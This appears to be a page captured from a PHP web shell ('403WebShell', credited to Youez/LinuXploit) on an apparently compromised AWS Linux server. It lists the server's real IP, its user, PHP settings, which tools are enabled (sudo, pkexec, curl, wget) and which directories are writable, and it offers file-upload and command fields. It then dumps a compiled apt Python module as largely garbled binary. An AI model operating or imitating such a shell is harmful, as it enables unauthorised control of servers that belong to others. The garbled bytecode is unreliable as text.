Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/apt/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/apt/__pycache__/cdrom.cpython-310.pyc
o

4��fu
�@sNdZddlmZddlmZddlZddlZddlmZGdd�dej	�Z	dS)z"Classes related to cdrom handling.�)�print_function)�OptionalN)�
CdromProgressc@s:eZdZdZddd�Zd
dd�Zd
dd	�Zed
d��ZdS)�Cdroma;Support for apt-cdrom like features.

    This class has several optional parameters for initialisation, which may
    be used to influence the behaviour of the object:

    The optional parameter `progress` is a CdromProgress() subclass, which will
    ask for the correct cdrom, etc. If not specified or None, a CdromProgress()
    object will be used.

    The optional parameter `mountpoint` may be used to specify an alternative
    mountpoint.

    If the optional parameter `nomount` is True, the cdroms will not be
    mounted. This is the default behaviour.
    NTcCsbtj�|�|durt�|_n||_|durtj�d|�|r(tj�dd�dStj�dd�dS)NzAcquire::cdrom::mountzAPT::CDROM::NoMount�true�false)�apt_pkgr�__init__r�	_progress�config�set)�self�progress�
mountpoint�nomount�r�+/usr/lib/python3/dist-packages/apt/cdrom.pyr	1s
zCdrom.__init__cC�tj�||p|j�S)zAdd cdrom to the sources.list.)rr�addr
�r
rrrrrA�z	Cdrom.addcCr)zIdentify the cdrom.)rr�identr
rrrrrFrzCdrom.identc	Cs�|��}|dur
dSt�tj�d�d�}|�tj�d��|D]0}t|��"}|D]}|���	d�s@||vr@Wd�dSq)Wd�n1sKwYq dS)z:Check if the cdrom is already in the current sources.list.NFzDir::Etc::sourceparts�*zDir::Etc::sourcelist�#T)
r�globrr�find_dir�append�	find_file�open�lstrip�
startswith)r
�cd_id�src�fname�fobj�linerrr�in_sources_listKs 
����zCdrom.in_sources_list)NNT)N)	�__name__�
__module__�__qualname__�__doc__r	rr�propertyr&rrrrr s


r)
r*�
__future__r�typingrrr�apt.progress.baserrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit